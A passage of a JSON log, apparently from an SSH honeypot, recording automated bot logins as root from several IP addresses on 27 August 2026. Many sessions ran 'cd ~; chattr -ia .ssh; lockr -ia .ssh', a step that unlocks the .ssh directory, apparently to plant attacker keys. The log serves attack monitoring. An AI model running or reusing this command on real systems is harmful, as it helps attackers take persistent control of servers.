  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:01.797262+00:00",
  "ended_at": "2026-08-27T11:48:03.011742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "643fabba-0c38-40d2-8dcc-19eb4c385720",
  "name": "gritty-brisk-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37664,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:45.270774+00:00",
  "ended_at": "2026-08-27T11:47:47.243425+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4aff71-36c6-4253-bb14-82644f66ca46",
  "name": "snowy-airy-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39684,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:36.791237+00:00",
  "ended_at": "2026-08-27T11:45:38.839540+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b4cea9e1-3b11-4ff1-adaf-d947918878b5",
  "name": "frank-foggy-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55802,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:25.825292+00:00",
  "ended_at": "2026-08-27T11:45:27.889315+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "a718bfe6-3881-4e49-bbc3-9b3e630fedaa",
  "name": "umber-woven-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:11.683760+00:00",
  "ended_at": "2026-08-27T11:45:13.541254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5e8f38b-6d50-4ae9-8333-9b7007c93415",
  "name": "cosmic-fickle-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55828,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:10.511008+00:00",
  "ended_at": "2026-08-27T11:45:12.074453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0c3c9f2-c326-4b0e-aa47-ce9964411f8b",
  "name": "tangled-gloomy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51330,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:36.779184+00:00",
  "ended_at": "2026-08-27T11:43:37.774544+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "6d31d880-393f-40cb-bce0-572b4babfd4d",
  "name": "jovial-distant-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 39682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:19.708244+00:00",
  "ended_at": "2026-08-27T11:43:21.106677+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "aa42d23a-c595-4afe-b3d4-777790706a28",
  "name": "frosty-crystal-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58274,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:16.145795+00:00",
  "ended_at": "2026-08-27T11:43:17.313008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74c9d84c-d787-4a46-92ef-2873a8dcb02b",
  "name": "fabled-somber-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36434,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:05.524747+00:00",
  "ended_at": "2026-08-27T11:43:06.358844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1427ae0c-299a-441f-be36-4cd1f2b5d923",
  "name": "hazel-sandy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59190,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:42:48.712893+00:00",
  "ended_at": "2026-08-27T11:42:49.880090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2291
 },
 {
  "id": "928eeabd-9391-4fd7-8227-1fdde35b8b8d",
  "name": "lawful-verdant-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59202,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:30.743966+00:00",
  "ended_at": "2026-08-27T11:42:31.442384+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f82edd59-1d77-4e21-aabc-38e643c9955c",
  "name": "steady-emerald-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:54.297613+00:00",
  "ended_at": "2026-08-27T11:41:55.633851+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "9eac5760-2272-4284-9c94-36fd1e49ffbb",
  "name": "umber-twilight-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 44376,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:40.284750+00:00",
  "ended_at": "2026-08-27T11:41:41.525679+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6f8436e-89fb-4634-9908-28427bbc3f72",
  "name": "quaint-cosmic-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42790,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:38.616289+00:00",
  "ended_at": "2026-08-27T11:41:39.691768+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54294cd6-670b-4ab6-861c-0b29f6c10a55",
  "name": "keen-rustic-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44386,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:15.478804+00:00",
  "ended_at": "2026-08-27T11:41:16.852015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b68326b-5aa3-401b-bd27-1a060294ab3f",
  "name": "jovial-obsidian-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 49492,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:40.711783+00:00",
  "ended_at": "2026-08-27T11:39:41.785704+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1cc17c7c-dda8-419b-925f-9e924ee6e7bf",
  "name": "smooth-murky-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58368,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:16.675248+00:00",
  "ended_at": "2026-08-27T11:39:18.597651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cfa3a5a-651c-4953-aec2-2d764a29de42",
  "name": "drifting-amiable-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:38:02.282253+00:00",
  "ended_at": "2026-08-27T11:38:04.558531+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "30bd727b-c2f6-4a58-b232-e3b74bfed317",
  "name": "frank-prairie-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41486,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:47.599999+00:00",
  "ended_at": "2026-08-27T11:37:48.448226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ee2dc75-00d8-44cb-bb80-f67c2bde8732",
  "name": "shaded-thawing-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:12.681924+00:00",
  "ended_at": "2026-08-27T11:35:14.122034+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "e0a19585-c39f-4eee-b233-1154fde4c862",
  "name": "verdant-ancient-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40176,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:55.467089+00:00",
  "ended_at": "2026-08-27T11:34:57.398548+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4008271-0046-4efb-9787-d756955e2972",
  "name": "boreal-twilight-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 38424,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:58.399131+00:00",
  "ended_at": "2026-08-27T11:33:59.737573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "c98a2576-2a1c-4396-91cf-2ea36f5efc6c",
  "name": "hardy-blithe-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38446,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:36.548262+00:00",
  "ended_at": "2026-08-27T11:33:38.468775+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6227696f-f72d-4455-b05d-6bf07c9df165",
  "name": "gloomy-lanky-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 49668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:34.784949+00:00",
  "ended_at": "2026-08-27T11:33:36.983931+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2280
 },
 {
  "id": "1000f9a7-5a10-4144-8b34-43e7dbc7b374",
  "name": "emerald-regal-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57586,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:13.248082+00:00",
  "ended_at": "2026-08-27T11:33:14.551311+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0e52af9b-d46b-4582-9ced-a8b1801e9be4",
  "name": "nameless-regal-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:10.265155+00:00",
  "ended_at": "2026-08-27T11:33:11.162532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a33b073d-e5b5-4e37-b92a-13b90f60a6ad",
  "name": "blunt-indigo-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57600,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:00.577684+00:00",
  "ended_at": "2026-08-27T11:33:02.517894+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08c1f23a-db2c-4621-aca2-db71ff9f4baa",
  "name": "fleeting-foggy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59086,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:49.000113+00:00",
  "ended_at": "2026-08-27T11:31:50.368150+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "8f9d1178-e66e-431c-9767-cc7e853b59c2",
  "name": "russet-rustic-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:32.354875+00:00",
  "ended_at": "2026-08-27T11:31:33.561608+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "439ccd49-b4b1-4e21-8cc7-4c818ee8528b",
  "name": "loyal-vernal-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 59900,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 770,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:08.661148+00:00",
  "ended_at": "2026-08-27T11:31:10.206764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2234
 },
 {
  "id": "05ba90af-81c7-4248-812c-218af65de5d7",
  "name": "rambling-kindly-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 54726,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:08.652883+00:00",
  "ended_at": "2026-08-27T11:31:09.337804+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "11960049-fa9f-4335-8f37-0819ef80d3a8",
  "name": "sleepy-icy-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 54750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:01.296865+00:00",
  "ended_at": "2026-08-27T11:31:02.379085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d60ab65b-fe38-4467-af6a-f36abc0363e5",
  "name": "thawing-curious-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:45.393696+00:00",
  "ended_at": "2026-08-27T11:30:47.218048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75e0d1c1-2119-4298-b11c-7305bd833462",
  "name": "barren-western-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55158,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:29:53.805813+00:00",
  "ended_at": "2026-08-27T11:29:54.454812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "9e1487d8-6c72-4cd5-b38b-ab3b0b56c53e",
  "name": "sullen-faded-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55164,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:45.013165+00:00",
  "ended_at": "2026-08-27T11:29:46.307131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21e6d30b-88fb-4bb2-b82f-051f6e4f2907",
  "name": "meadow-humble-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59058,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:52.029580+00:00",
  "ended_at": "2026-08-27T11:28:53.124626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "ab531963-68d1-403f-a77c-563c48c2355b",
  "name": "smoky-spirited-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59080,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:34.785282+00:00",
  "ended_at": "2026-08-27T11:28:35.990120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e946322-b3b0-4a41-8174-8fdf7e3823c4",
  "name": "nautical-fleeting-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38880,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:25:47.741804+00:00",
  "ended_at": "2026-08-27T11:25:48.902807+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "91abbb7b-49ed-451c-8cfe-7e9478c5b09f",
  "name": "bronzed-lawful-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40558,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:25:23.670426+00:00",
  "ended_at": "2026-08-27T11:25:24.758400+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "5e045333-4cff-4c8f-b9e2-56790d228d6c",
  "name": "daring-polar-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38906,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:22.493924+00:00",
  "ended_at": "2026-08-27T11:25:24.025228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2420925-ca37-4ec8-a08d-b6e744997fad",
  "name": "eager-austere-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49662,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:01.277460+00:00",
  "ended_at": "2026-08-27T11:25:02.755254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d7c804-9fde-44f8-8e50-745fa44a1dfe",
  "name": "buoyant-frank-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58984,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:20:44.739478+00:00",
  "ended_at": "2026-08-27T11:20:45.964341+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "2df7ee4e-9eb9-4595-b9d9-6be86fdecb18",
  "name": "autumn-zealous-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:20:27.447196+00:00",
  "ended_at": "2026-08-27T11:20:28.290817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0642adb-af0b-4529-9eda-cb5c44c3472a",
  "name": "thorny-gritty-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:18:08.352740+00:00",
  "ended_at": "2026-08-27T11:18:09.823471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "7aa6fbf1-4bfc-4d14-9da0-213ced08c620",
  "name": "brave-gentle-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58970,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:50.503492+00:00",
  "ended_at": "2026-08-27T11:17:51.390234+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08395037-5832-4e3f-ac30-55c5752178df",
  "name": "glacial-arctic-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58916,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:15:26.463226+00:00",
  "ended_at": "2026-08-27T11:15:27.965331+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "048c8dea-508a-4a4f-92dc-f6b121532f76",
  "name": "coastal-hushed-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58944,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:08.964837+00:00",
  "ended_at": "2026-08-27T11:15:09.837528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae0985ff-60a2-4fe7-9505-b9d26e2b9f6a",
  "name": "orderly-lanky-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43652,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:14:14.600211+00:00",
  "ended_at": "2026-08-27T11:14:15.820123+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "71187617-596f-462f-ad8a-a8a91f19bb40",
  "name": "lanky-painted-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 39992,
